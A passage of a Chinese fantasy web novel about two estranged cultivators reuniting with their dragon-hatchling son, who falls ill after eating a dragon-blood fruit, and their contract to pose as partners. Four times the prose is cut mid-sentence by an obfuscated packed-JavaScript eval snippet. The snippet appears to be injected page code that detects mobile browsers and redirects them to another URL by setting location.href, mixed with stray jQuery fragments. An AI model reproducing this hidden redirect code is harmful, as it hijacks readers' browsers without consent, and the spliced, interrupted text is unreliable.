就像龙髓珠说的,他们连孩子都生了。以洛淮时的性子,他云临川敢对天发誓,真要是他图谋不轨以下犯上强取豪夺,对方不和他同归于尽他就不姓云! 他只是忘了。 忘了他的师兄对他露出过除了冷脸以外的模样。 心中顿时涌上一股酸意,像打翻了几坛陈年老醋,不要命地浇在他的心脏、肺腑。 酸得云临川甚至没意识到自己在眼红几百年前的自己,而是把这股子郁闷误认为对刚才落荒而逃的不甘。 就当云临川准备发出声音昭告自己的到来时,床上的幼崽突然翻了个身,一下钻进了青年怀里。 蓄势待发的小黑蛇顿时蔫巴下去,看了眼幼崽那张和洛淮时像得不得了,又在某些地方神似自己的脸,下定了某种决心。 “簌簌”几声后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479011|201641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,窗口“外来者”的气息消失不见了。 洛淮时小心翼翼起身,见幼崽没被吵醒这才去了窗口。 推开木窗,只见角落里两片黑漆漆的蛇鳞泛着迷幻的流光。 没感受过双亲疼爱的人,能成为一个合格的家长吗? 洛淮时不知道。他只知道,世人皆言血脉返祖九死一生,就算侥幸存活也与无缘大道。 可他不仅活下来了,甚至成为了大乘修士。 而他现在,只是想疼爱一个自己的亲生骨血,让他不会想他幼时那般孤苦无依又有什么难处? 洛淮时不觉得有难处。 就像他活到现在,白蛇一族依旧没有因为那虚无缥缈的“预言”灭族。 很多时候不是不能,而是不想。 第二天。 洛云杳做了一个暖乎乎的梦。 梦里的景色是他在灵洲路过的一个繁华小镇,因为没灵珠吃饭还跟着城西的乞丐们讨了几天饭。 因为生得可爱,乞丐头头把他别裤腰带一样拴在身边,生怕他一不小心就被人卖了。 那几天的秋雨冷得刺骨,讨饭讨到最后他倒霉染了风寒。虽然龙族的自愈力让他用不了几天就能痊愈,但乞丐头头不知道,吓得拿出全部家当给他买药。 于是临走前他留给头头一片金鳞,写下歪歪扭扭的字条告诉他要拿着金鳞去北边的凤鸣城,那里有一家很好的当铺,老板曾经收留了他三天,看见金鳞会为他谋一个好去处。 不过梦里和现实不太一样。 梦里的他讨饭讨了半天,那些行色匆匆的人也没施舍一个铜板。 就在幼崽接受自己没法讨到灵珠的事实时,对面突然出现了一双绣着流云纹的鞋。 一袭天青法衣的青年蹲下身,朝他伸出手── “宝宝,爹爹来接你了。” 爹爹的拥抱暖乎乎的,暖乎到驱散了秋雨后的寒凉。 幼崽在青年怀里蹬了蹬腿,不可置信地确认着,忍不住“嘿嘿嘿”笑出了声。 “爹爹……嘿嘿……爹爹……” 洛云杳睁开了眼睛,发现自己真的在爹爹怀里! “早啊,勇敢的小龙。”洛淮时捏了捏幼崽的脸蛋,在他呆呆的目光里起身、打水、擦脸擦手,用洁齿粉给幼崽刷了牙,最后亲了亲他的额头。 整套动作堪称行云流水,像是做过无数遍。 幼崽嘴巴张成了鸡蛋状,拍了拍小手:“爹爹好厉害!” 洛淮时“噗嗤”一声乐了出来,不知道这有什么好夸的。刚要把水盆拿出去倒掉,只听身后传来幼崽扭捏的声音:“爹爹……是照顾过别的小朋友吗?” 洛淮时:“……不算是。” 当初云临川刚入门和野人没什么区别,身上又带着“龙族”特有的讨厌气息,为了建立自己的绝对权威,洛淮时自告奋勇担起“照顾”云临川的责任。 不听人话,那就先把他按在雪地里揍一顿武力压制,再强硬地给他洗脸刷牙,教他怎么上厕所、穿衣服。 之后更是不听话就揍,做错了也揍,揍到不再犯错为止。伺候孩子的手法也是那时候锻炼出来的。 也许是那时揍狠了,所以后来云临川讨厌他,在洛淮时眼里也是理所应当的。 见幼崽满脸好奇,洛淮时避重就轻说了下那段过往。 然后── “爹爹,你给父亲洗完脸也会亲他吗?” 刚翻墙进来的云临川:“……?!” 14. 养崽第十四天 “不会。” 洛淮时嘴角抽了抽,转身端来餐盘,上面的吃食是龙族驻地今早送来的,都是龙崽爱吃的。 “而且小朋友是不能随便亲人的。”青年突然意识到了问题的严重性。 洛云杳懵懂点头:“我知道呀,可是爹爹和父亲不是道侣吗?道侣之间不是可以亲亲吗?” 终于不用带娃准备找个地方晒太阳的龙髓珠:“……” 终于有人帮它分担崽的奇思妙想了。 洛淮时耐着性子解释着:“那时候我们的年纪和昭昭差不多,还不是道侣,只是师兄弟。” 洛云杳明白了,又问:“那你们是好朋友吗?” “——当然是了。” “吱嘎”一声,一身黑色劲装的男人推门而入,面带嫌弃地踹了脚年久失修的木门。 幼崽对上男人荧绿的竖瞳,想起昨天擂台上对方“欺负”爹爹的旧账,顿时转身留给云临川一个后脑勺。 拎着一堆玩具和零嘴的云临川:“……?” 他招惹他了吗?没有吧? 洛淮时面无表情,甚至没给云临川一个眼神:“有事吗?” 云临川:“没事就不能来看你吗?” 洛淮时:“……?” 终于在青年脸上瞧见一副被人恶心到的表情,云临川的竖瞳以肉眼不可察的速度瞪圆了一瞬,装模作样咳了咳:“我来给昭昭送点东西。” 等到东西被摆在了桌面,幼崽这才赏了男人一个眼神,然后对着青年招招手让他凑过来。 洛淮时立马俯下身,耳边传来幼崽小到几乎听不见的声音:“爹爹……父亲和你认错了吗?” 洛淮时:“……什么?” 云临川:“……?” 见青年不回答,幼崽只好继续说着:“昨天沐沐哥哥说父亲欺负爹爹……我刚才想起来沐沐哥哥不会骗人。” 身负那么多黑线,“撒谎”这个举动会让沐沐哥哥被黑线越缠越紧。 洛淮时下意识看了眼云临川,也跟着“悄悄”问道:“为什么说他不会骗人?” “因为……唔,这个不能说。”幼崽挠挠头,“所以父亲认错了吗?” “……凭什么是我认错?明明是你先骗的我!” 男人的传音带着一丝不甘,让洛淮时原本要说出口的“认错了”收了回去:“还没有。” “不过现在认错也来得及。”他说着,然后直起身子把幼崽抱到腿上,一副等着瞧好戏的模样。 云临川脸都要绿了,知道自己今天不认这个“错”,对面的一大一小怕是都不肯罢休。 “你故意的!”他说着。 洛淮时:“所以呢?不想认错门在那儿。” 云临川没动,好半天从牙缝里挤出来一句“好”。 可他憋了半天一个字儿也没说出来,总觉得自己的面子马上就要随着“道歉”离自己远去了。 “你小时候对我求饶认错的次数还少吗?”洛淮时托着下巴,“还是失忆了把怎么认错也给忘了?” 云临川不可能忘。 重塑肉身时待的魂瓶暗无天日,他能做的只有反复咀嚼脑子里仅剩的十八年人生。 他连刚入门的时候一天被洛淮时收拾几遍都记得一清二楚,满腹心思都是出去后怎么找他算账。 “是我的错。”开了话头,接下来的认错就万分熟练了,“我不该一时激动就对你大喊大叫。” 虽然男人的语气明显还带着些不服气,不过许久没得到云临川“道歉”的洛淮时接受良好。 他没空和一个记忆乃至于脑子还停留在十八岁水平的小屁孩争论。 没人比他更了解他十八岁的师弟是一副多么人憎狗嫌的德行。 洛淮时:“嗯,下次别再犯了。” 洛云杳也跟着严肃点头:“不许再犯!” 等到幼崽把早点吃干净,洛淮时边收拾餐盘边传音:“你来是想好了?” 那双绿色的竖瞳闪了闪,紧接着避开他的视线回着:“嗯。” “那一起去龙族驻地吧。” . 幼崽重新进入龙族驻地,获得了全体龙君的注目礼。 要不是被人抱着,还有个洛淮时的肩膀能让他躲一躲,他都怀疑自己又得像昨天一样被人揉红了脸。 两人身后,云临川的眼神不自禁又黏在了抱着幼崽的青年身上。 天青色的法衣裹着绣了流云的束腰,尽管如此,看起来依旧盈盈一握。 很细。 根本看不出曾经孕育过一个生命。 那点夹杂了羊水的丰腴会是什么模样? 云临川发现自己的思绪飘到了一个十分危险的禁区,可眼睛像是被法术定住了一样,死死盯着青年的腰肢来回看着。 会微微凸起吗?还是隆起像小山包一样的弧度? 一股热流顺着鼻腔掉了下去。 “爹爹!父亲、父亲流鼻血了!”洛云杳瞪大了眼睛,“父亲是不是生病了?” 印象里,修士只有生了很严重的病才会莫名奇妙出血受伤。 幼崽剩下的那点别扭随着鼻血消失得无影无踪,紧张地抓着青年的法衣。 洛淮时闻言回头,错愕道:“你受内伤了?” 可他记得昨天擂台打到的似乎是云临川的肩膀。 “没、对!”云临川狂擦着鼻血,“我内伤还没好。” 幼崽这才松了一口气,继续窝在青年怀里和“路过”的修士打招呼,叔叔姨姨哥哥姐姐……精准到了他们每一个人的名字。 龙族众人被萌得简直要原地爆炸,恨不得把手里的好东西全都塞给幼崽。 这可是活生生、还会喊他们对他们笑的幼崽啊! 小黑龙出生的时候全族盼了不知道多久,可惜是个不让摸不让碰还和他爹如出一辙的闹腾主,久而久之众人都避着轩辕硕父子走。 相比之下新崽崽简直是仙童下凡! 可惜就是双亲一个看着能冻死人,一个出了名的鼻孔朝天,众人就是再想和幼崽贴贴也只好按耐住蠢蠢欲动的双脚。 族长的住处在正中间宫殿的最高处。 跟着童子一路走到门外,洛淮时正犹豫着该把幼崽交给谁,身边突然多了一道白衣身影。 青禾咳了咳:“族长恭候多时了,我来照看昭昭就好。” “青禾叔叔。”幼崽乖乖喊了一声,然后扒着青年的脖子不肯放手。 青禾:“……” 洛淮时忍俊不禁,揉了揉幼崽的脑袋:“爹爹和父亲找族长说点事,你先和青禾叔叔待一会儿。” 洛云杳又露出了可怜巴巴的表情,可惜这次不太奏效,只好在两人进去前反复确认:“那你们出来了一定要来找昭昭啊,一定一定要第一时间来找我!” “我们拉钩钩。” 洛淮时拉了拉幼崽的手,转身差点撞上不知道等了多久的云临川。 洛淮时:“……” 屋内,族长正端坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479012|201641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主位上,身边站着个高大的男人。 洛淮时忍不住多看了一眼,结果在男人肩膀上瞧见了十分熟悉的小黑龙。 云临川也看见了让自己“认错”的罪魁祸首,磨了磨牙,最后决定不和一个小崽子计较。 族长:“你们这么快就想好了?” “想好了。” 洛淮时一愣,没想到云临川说得比自己还快,也跟着点点头。 族长:“那好,你们就一起说吧。” 洛淮时:“去龙岛。” 云临川:“去——” “放我进去!” 门外突然传来一阵骚动,云临川没来得说完只听大门“哐镗”一声被人踹开,有人强行闯了进来。 “少主!少主您不能鲁莽行事!”左护法文弱的模样根本看不出赤手空拳就凿开了结界和玄铁门,“尊上说了这事有蹊跷,您得回魔洲再从长计议。” “没什么蹊跷,我选择去龙岛。”云临川眸色晦暗不清,“你回去告诉舅舅,在替我做选择前……多想想我爹。” 爹? 洛淮时观察着左护法的反应,只见原本激动的男人突然哑巴了一样,脸色也难看下来。 他倒是没特别注意过云临川亲爹的消息,更确切的说,像是有人把云临川双亲的消息抹去了一般。 “是,属下遵命。” 急匆匆赶来的男人又狼狈不堪地走了,像是身后有什么东西在追他,连扇子都落在了玄铁门的碎片里。 族长像是根本没看见这出闹剧一样,点了点头:“既然如此,为了确保你二人不会反悔,先把这份契约签了吧。” . 宫殿外。 洛云杳被一群浑身亮晶晶、香气飘飘的俊男美女围在树下,像个被设定好的傀儡娃娃一样,手里多一样东西就朝着送东西的人说一声“谢谢”。 “崽快看这个,这个是归墟海特产的千年血珊瑚,放在屋子里能辟邪。” 洛云杳接住珊瑚,软乎乎道:“谢谢沐雨姐姐。” 一身宫装的女人捂嘴无声尖叫着,顶着满头珠翠继续翻储物戒,势要比身边那几个显眼包拿出更好的东西来。 “崽这个、这个!这可是万年龙血树产出来的龙血果!吃了对身体好!”星眠杀出重重包围,把手里拳头大小的果子递了过去。 众人倒吸一口凉气,一时间掏东西的手都停住了。 “这、这不是你宝贝了几百年的果子吗?”知情者打趣道,“星眠啊星眠,你真舍得?” “本来就是给崽……咳咳,你管我?”星眠勾唇一笑,脸上的符文跟着扭曲变形,“不就是个果子吗?就是崽想要星星我也能给他摘下来。” “星眠哥哥好厉害!”洛云杳十分捧场地夸着,然后低下头手上的果子咽了咽口水。 龙血果通体鲜红,在阳光的照耀下泛着一股玉一样的清透,无与伦比的香气透过外皮四散在空气里。 “崽快尝尝,吃完哥哥再给你去摘。” 那就……吃一口? 幼崽拿着果子在衣襟上擦了擦,递到嘴边“咔嚓”一咬,清甜浓郁的汁水蔓延在口腔,带来一种从未有过的舒爽。 好、好好吃! “我要和爹爹父亲……” 幼崽没能说完这句话,“一起吃”三个字死死卡在喉咙里,浑身的血液像是烧开了一样沸腾,裸露在外的手臂泛起密密麻麻的红点。 “啪——” 龙血果砸在了地上。 15. 养崽第十五天 洛云杳似乎回到了蛋壳里。 什么珊瑚、果子……都离他远去了,世界只剩下一片透着红光的寂静。 突然间,他听见了模模糊糊的争吵。 “……我不同意!是我写下阵法的,和我师兄一毛钱关系也没有……” 父亲? 没等幼崽仔细听,又响起了另一道声音。 “……我同意,只要能让……我这身……也没有什么值得留恋的。” 是父亲。 他们在说什么? 幼崽直觉他们在说一件很重要的事,可他越想听清,反而距离熟悉的声音越来越远,周围的一切也越来越黑、越来越冷。 恍惚间,幼崽又听见了属于尘世的声响。 “星眠!你到底给他吃了什么?!” 是青禾叔叔。 “就是龙血果啊!古籍上说幼崽吃了没事——” “你个呆子!不知道不能全信书吗?!” 洛云杳很想告诉他们他没什么大事,只是有点累。 可惜意识越来越模糊,越来越…… . “哗啦”,三尺长的契约书摆在了洛淮时两人面前。 轩辕硕拎着契约书把它放在两人对面,刚想说什么,肩膀的小黑龙突然拱了拱他的脖子。 “不好玩、找昭昭。” 族长对着父子俩点了点头,于是轩辕硕直接“功成身退”,头也不回地带儿子离开了大殿。 半空中,泛黄的契约书闪烁着盈盈微光,密密麻麻的符文如蝇头般挤在一起,就算以大乘修士的目力,也只能勉强辨认出似乎是某种天道契。 契约书的最下方写了他们需要遵守的内容── 第一,请确保龙崽拥有一个健康幸福、完整快乐的童年。 第二,因为龙岛的特殊性,非必要不得离开,不得有下属随行。 第三,由于记忆缺失,请二位扮演一对关系正常的道侣抚养龙崽。 第四,违约者会受到契约反噬。 洛淮时看到第三条,眼角抽了抽,最后确定无论是符文还是内容都没有问题,于是抬手准备挤出精血—— “等等,第三条我有问题。”云临川打断了青年的动作,“什么是‘关系正常’?又是谁来评判?” “当然是昭昭。”族长说着,“只要他没有看出来你们在假扮‘道侣’,那这契约就不算违背。” “那敢问族长,反噬又是什么?”洛淮时也问了一嘴。 族长:“自然是你们没选的那条路。” 霎时间大殿安静得能听见窗外风过树梢的簌簌声,气氛变得十分诡异。 洛淮时抬起头,直直看向族长。 修为越高的人越处变不惊,与其对视反而容易暴露出自己的想法,所以之前他一直垂着眼睛避免和族长对视。 这一看,让他看清了族长金瞳里晦涩不明的光。 “老头,你之前可没说有这一出。”云临川脸色难看,“还是你以为我魔宫真怕了你龙岛不成?” 族长依旧是那句话:“昭昭是这一千年来唯一出生的纯血龙族,我必须得确保他——” “爹爹?” 一声稚嫩的呼唤响彻在大殿,在场几人全都瞳孔地震。 只见大殿中心缓缓浮现出一道半透明的身影,幼崽身上还穿着青禾送去九霄宗驻地的鹅黄色法衣,满脸懵懂。 “昭昭!”洛淮时大脑顿时一片空白,冲过去后只触碰到了空气。 “日月为光,三魂茫茫,吾血为引,速归!”云临川最先反应过来,抓起洛淮时的手挤出精血,双手结印,一套还魂咒直接打在了幼崽身上。 “我……”洛云杳想说自己只是跟着“光点”出来走走,可惜还魂咒让他开不了口,只能眼睁睁看着大殿、双亲消失在自己眼前。 世界再度回归漆黑……不,还有光点。 那点微光是在他睡着后出现的,此刻漂浮在他面前不到一掌长的地方,缓慢移动着为他指引出又一条路来。 一步、两步,四周逐渐多了许多宛如仙境的琼楼玉宇,还有葱茏欲滴的草木。 “……快来啊,快来!” 叽叽喳喳的呼唤伴随着银铃般的笑声,云雾缭绕的仙境里多出了许多长着翅膀的花精。 幼崽犹豫了一下,顺着声音的方向快步跑去,四周越来越亮,最后置身在一片白光里。 而光的尽头站着道只能看清轮廓的身影,个子很高,依稀能辨认出是个男人。 幼崽警惕地停在了原地。 “都长这么大了啊。”影子呼吸间就来到了幼崽对面,蹲了身子,然后抬起手。 幼崽的头顶被揉了两下。 明明是十分诡异的场景,他却一点也不害怕,反而从心底升起一股安心和熟悉。 就像是……他们不是第一次见面了。 影子:“好孩子,你已经完成了第一个任务,第二个任务也要努力。” 任务?什么任务? 洛云杳搜罗着自己的记忆,突然想起来破壳前似乎有一道声音告诉他——“去找吧,去找你的双亲。” “那第二个任务是什么呀?”他的脑子没有关于它的记忆。 影子笑了笑,声音和平静:“我不能说,它需要你自己去发现。不过等你完成任务,我们还会见面的。” “现在,你该回去了。” “咕咚——” 洛云杳听见了一声结结实实的落水声,世界再度迎来漆黑,紧随其后的是大亮的天光,还有惊喜的尖叫。 “醒了!崽醒了!” “你闭嘴,吓到崽怎么办?” “昭昭!” 幼崽落入了暖烘烘的怀抱,青年抱着他的力道有些失控,胳膊、手掌都在抖,像是溺水的人抓住了救命稻草。 洛淮时也不知道自己为什么这么激动。 明明重逢后相处不到两天,甚至因为不知名的原因没法产生血脉共鸣,可所有的理智在见到面色惨白的幼崽后顷刻崩塌。 他冷静不了。 要不是星眠的天赋能够治疗幼崽,他早就冲上去和他拼命了。 一旁配药的星眠狠狠哆嗦了一下,顶着治完幼崽后被云临川揍出来的黑眼圈,默默把凳子又挪远了一点。 “宝宝,还难不难受了?”洛淮时松开幼崽,分出一丝灵力检查着他的状态,确认幼崽真的平安无事这才松了一口气。 洛云杳顿时学着之前见过的体修夹了夹胳膊,展示了一下自己的肌肉:“不难受!” 不过他好像……忘了什么。 对了,他怎么晕过去了?他明明只是吃了一口果子…… “以后不准吃陌生人来历不明的东西。”云临川板着脸蹲到幼崽面前,语气严肃,“就算吃也得等我和、师兄确认能吃才行。” 彻底沦为“陌生人”的星眠:“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479013|201641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这还是洛云杳第一次见云临川这副模样,有些害怕地往青年怀里缩了缩,露出小半张脸点点头:“好的父亲……昭昭下次不会乱吃东西了。” “乖。”云临川顿时露出笑脸,掐了掐幼崽的脸蛋,“再睡一会儿,等醒了父亲带你去魔宫驻地讨见面礼。” 洛淮时拍着昏昏欲睡的幼崽,深深看了云临川一眼,心里浮出股难以言说的情绪。 他本来以为云临川答应去龙岛只是被逼无奈才出此下策,可从大殿一直到寝殿的表现来看,似乎……他对昭昭的关心程度和自己也差不了多少。 真的如此吗?还是说只是在演戏? 事到如今洛淮时依旧不相信昨天在岛主府云临川说的话。 人是能撒谎的,人心是会变的,当年那一剑横在他心口变成了根深蒂固的刺。 谁又能确保那些话几句真几句假? 关于幼崽的谜团多到令人窒息,但无可辩驳的是这就是他的孩子。 会哭会笑,还会……毫不犹豫的挡在他身前保护他。 等到幼崽呼吸平稳,在星眠的挤眉弄眼下,洛淮时和云临川对视后留了青禾照看,这才去了殿外。 星眠尴尬地摸了摸鼻子:“其实昭昭不单是排斥龙血果的能量。我刚才又翻了一遍古籍,才发现所谓的稳定是对纯血龙族来说。” “崽虽然现在是纯血金龙,可又有后遗症,还……” 云临川眸光一凛:“还有什么一起说了。” 星眠:“我发现他本来血脉就有些不稳定,可能是提纯的时间太长导致的,一般来说再涨几岁就好了。” 三百年……确实太长了。 洛淮时不自觉攥紧了拳头,深吸一口气:“还有什么需要注意的地方吗?” 星眠:“就别给他乱吃东西,其实回到龙岛有龙神庇护能好上不少。” 洛淮时:“没了?不用服药吗?” 星眠:“暂时不用。” 云临川眉毛一挑:“暂时是什么意思?到底用还是不用?” 星眠捂脸,几乎要哭出来:“两位大哥我求求你们了,这得看崽的情况再说,你们现在别为难我了。” “我错了……我不给崽乱吃东西了。” 满身祭祀礼器的男人“嘤嘤嘤”着跑了,只留给两人一道的背影。 洛淮时:“……” 云临川:“……” “那我们继续去找老头签契约?”云临川说着,眼睛却盯着地面。 “为什么不敢看我?” 视线里突然多了一双绣着流云纹的靴子。 “谁不敢看你了?”云临川猛地抬头,倒吸一口凉气。 太近了,离得太近了。 他和洛淮时之间只剩下半个手掌的距离,那双清冷的金瞳里满是探究,好似要凭借这次对视挖出他所有的秘密。 什么乱七八糟的,他才没有什么秘密! “哦。”洛淮时淡淡应了一声,退回到了合适的距离。 不一会儿,果不其然察觉到了男人在自己腰间打转的目光。 “别看了。”他一巴掌拍在云临川胳膊上,“我问你,要是龙族突然反悔,要把昭昭带走给别人养——” “做梦!”云临川满脸匪夷所思,“法阵都说他是我的种,凭什么给别人养?” 洛淮时:“那你有没有想过……” “为何你我当初却把龙蛋丢在妖洲的淤泥里?” 16. 养崽第十六天 “尚有余力的那是你……” 云临川从未这般想替自己辩解:“我都被人打成半副骨头架子了。你怎么不说打伤我们两个的王八蛋居然不把蛋抢走?” 等等。 洛淮时见男人一副恍然大悟的模样,蹙了蹙眉:“魔宫这些年没给你治脑子吗?” 云临川:“……你!” 他硬生生把那句“怎么没有”咽了下去,根本拉不下脸承认自己重塑肉身后脑子确实不怎么灵光,只好说:“我的事不用你管。” 洛淮时挑了挑眉,果断转身。 “等等,你去哪?” 男人拔腿拦住了他的去路。 洛淮时淡淡道:“签契约。” 族长对他们两个去而复返并不惊讶,就是这次身边站着的人换成了星眠和月栖。 待到契约成立,洛淮时的锁骨处多了一枚不大不小的天道咒,触感灼热,无时无刻不在提醒他得和身边这个脑子有坑的师弟…… 假扮、道侣。 “万族大会还有三天结束,这几天你们务必把事务交接清楚。”族长不紧不慢地说着,“三日一到,我等立马返回龙岛。” 洛淮时没什么好交代的。 擂台赛九霄宗大乘期的修士来的不只他一个,就算他失去参赛资格也影响不到大局。 所以在寄出传书,同宗主辞去授课长老的一职,又和副宗主、徒孙告别后,他便抱着霁雨剑又回了龙族驻地。 剑柄上还挂着徒孙送给幼崽的玩具——一只寻宝鼠傀儡,里面有徒孙本体的毛发,说是用灵石催动没准能找到意想不到的好东西。 握着憨态可掬的傀儡,洛淮时小心翼翼地推开了寝殿的门。 里面静悄悄的,和离开前一样。 床边蹲坐着飞仙楼的老板,见他回来往旁边挪了挪。 只见床榻上的幼崽不知何时恢复成了龙崽的模样,正首尾相连地盘在一起,爪子紧紧抱着自己的肉嘟嘟的尾巴尖。 然后,吧唧了一口。 乳牙啃到了还在蜕鳞期的鳞片上,似乎啃疼了,幼崽抱着尾巴小声哼唧了起来。 刚刚蹲下的青年顿时瞳孔骤缩,连呼吸都忘了。 “别愣着啊,快哄哄他。”青禾的传音带了几分催促,“刚才醒了一次,给他喂了祭司的药,说得通过睡觉炼化。” “怎、怎么哄?”洛淮时紧张得要命,第一次这么手足无措。 青禾:“我也不会。” 洛淮时:“……” 眼见龙崽的哼唧声越来越大,就连眼皮也开始抽动,他只好视死如归般伸出手,轻轻拍了拍龙崽尾巴稍上一点的屁.股上。 当初下山做任务,借住农家里的妇人就是这般哄孩子睡觉的。 一下、两下……没几下小金龙不再乱动,乖乖抱着尾巴睡得十分安详。 洛淮时松了一口气。 “没什么事我先走了,飞仙楼还有点事要处理。” 洛淮时点点头:“多谢前辈帮忙照看昭昭。” 青禾摆摆手:“举手之劳,外面一堆龙君想进还进不来呢。不过……” 洛淮时:“前辈想说什么?” “我前些年回女娲山祭奠旧友,听说白蛇一族出了件大事。”青禾的神情很微妙,“据说白蛇族长的小儿子其实并非亲生,他们真正孩子在蛋里时就被奸人调换。” “而那被调换的孩子已经尸骨无存了。” “真令人遗憾。”洛淮时附和着,眼底却没有一丝温度,“天色不早了,前辈请回吧。” 次日。 洛云杳再度从爹爹温暖的怀抱里醒过来,整条龙幸福得快要冒泡泡。 眼见着青年还没醒,龙崽一点、一点向上拱着,成功从青年腰腹处跑到了心脏附近。 然后—— 龙崽的面前多了一只小老鼠。 “喜欢吗?它会陪你玩。”洛淮时一边说着一边催动了寻宝鼠,顿时鸡蛋大小的傀儡开始围着龙崽乱转。 “昭昭喜欢!” “吱嘎”一声,窗户被人暴力打开。 一身黑衣的男人不请自来,手里拎着一堆五花八门的玩具,每个玩具上还拴着枚储物戒。 “不就是只臭老鼠吗?我有比它更好玩儿的。” 洛云杳仔细闻了闻怀里的寻宝鼠,有些迷茫:“不臭呀,不是臭老鼠!” 龙形的状态不太好叼起傀儡,于是幼崽变回人身直接把寻宝鼠怼到了男人鼻子下面:“父亲你闻。” 云临川自作自受地闻了闻“奇丑无比”的傀儡鼠,脸色僵硬:“……嗯,我闻错了。” 洛淮时顺势起身把幼崽抱下地,取了灵泉水给幼崽洗脸,传音道:“你来这么早,魔宫的事都处理完了?” 云临川:“用不着我处理,左护法本来就是这次万族大会的真正领队。” 洛淮时:“那你呢?” 云临川:“我是来和你决斗的。” 洛淮时没回话,转头把寻宝鼠拍在了云临川脸上。 “啊啊啊——洛淮时你疯了吧?!!” 洛云杳好奇地把面巾拿了下来,抬头才看见窜上房梁的男人。 云临川指着地面跑来跑去的寻宝鼠,脸色姹紫嫣红:“你就是、你就是……” “爹爹,父亲怎么了啊?” 洛淮时继续给幼崽擦脸:“他害怕老鼠。” 洛云杳“嗯”了一声,掰着手指头开始数:“为什么呀?昭昭怕黑是因为天黑了外面会有很凶的妖兽出没,怕雷是因为打雷的时候可能会被劈到,怕树的影子是因为影子里有时候会躲一些奇奇怪怪的东西……” 老鼠那么小,在他看来根本没什么好怕的。 青年的动作彻底顿住了,房梁上的男人也愣在原地。 下一刻,幼崽头顶多了两只手,一只微凉,一只还在颤抖。 “现在没有妖兽、奇奇怪怪的东西,昭昭不用怕了。”洛淮时蹲下身,揉着幼崽的脑袋亲了亲他的额头。 至于打雷……现在还没有修仙不被雷劈的办法。 “哈哈,对,这些东西都没什么好怕的。”云临川干巴巴笑了两声,面色狰狞地一把抓起寻宝鼠,“我刚才都是为了逗你爹开心,才不怕什么老鼠。” 洛淮时:“嗯,对。” 小插曲后,在云临川的一再坚持下,幼崽终于放弃继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479014|201641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和寻宝鼠玩耍,转头要去找轩辕明苍。 问到小黑龙的住处,两人带着幼崽直奔目的地。 洛淮时盯着云临川的背影,想起师父当年绘声绘色的形容。 “这小玩意不知道是不是在蛇族待久了,还真以为自己是条蛇了,我废了好大力气才把他从母蛇的尸体旁边带走。” “你是没看见,那乱葬岗里面的老鼠都变异了,好不容易看见个活物都快把他脑壳啃干净了。嘶,这么一说,你们两个被我捡回来的模样还差不多。” 洛淮时是被族人打得半死随便丢在后山的。 等待死亡的过程伴随着腐烂和蛆虫,要不是云淞道人及时赶来,他会彻底变成蚊虫的孵化场。 . 三天时间对洛云杳来说不算很长。 他沉浸在马上就要和爹爹和父亲去龙岛的喜悦里,连找沐沐哥哥玩都顾不上了,一直黏在洛淮时和云临川身边。 更何况自从知道当年他们是受了重伤才和他被迫分离的,幼崽那点不安和惶恐全都转化为了对“坏蛋”的愤怒,以及对洛淮时和云临川的关心。 一旦两人的表情不对劲儿,幼崽就会跑过去问是不是哪里不舒服。 好在一切安好。不过令洛云杳困惑的是,每到日落西山父亲总是离开龙族驻地,离开他和爹爹身边。 爹爹说,父亲是因为要处理魔宫的事务才不能留下的。 洛云杳觉得有哪里不对,可龙髓珠也说这样很正常,道侣又不是必须天天黏在一起。 于是在幼崽的期待里,万族大会终于结束了。 九霄宗在金丹阶段的擂台赛里得了一份气运,魔宫则是在化神阶段。 岛主为了庆祝大会结束,特意在当晚举办了十里夜宴,到场的修士全都领到了万族岛的特产灵果。 而洛云杳得到的则是岛主身上流光溢彩的华丽凤羽,足足三根,每一根都能搭配天材地宝炼制成水火不侵的法衣。 然后,洛淮时得到了幼崽递过来的凤羽。 “爹爹,这根送给你!” 小小一只幼崽走路还有些没那么稳,拿着比他人还高的羽毛跌跌撞撞走了过来。 洛淮时上前扶了一把,觉得自己似乎可以把荒废多年的炼器术捡起来看看。 琢磨一宿毫无进展,次日清晨,有人敲响了房门。 “准备出发——” 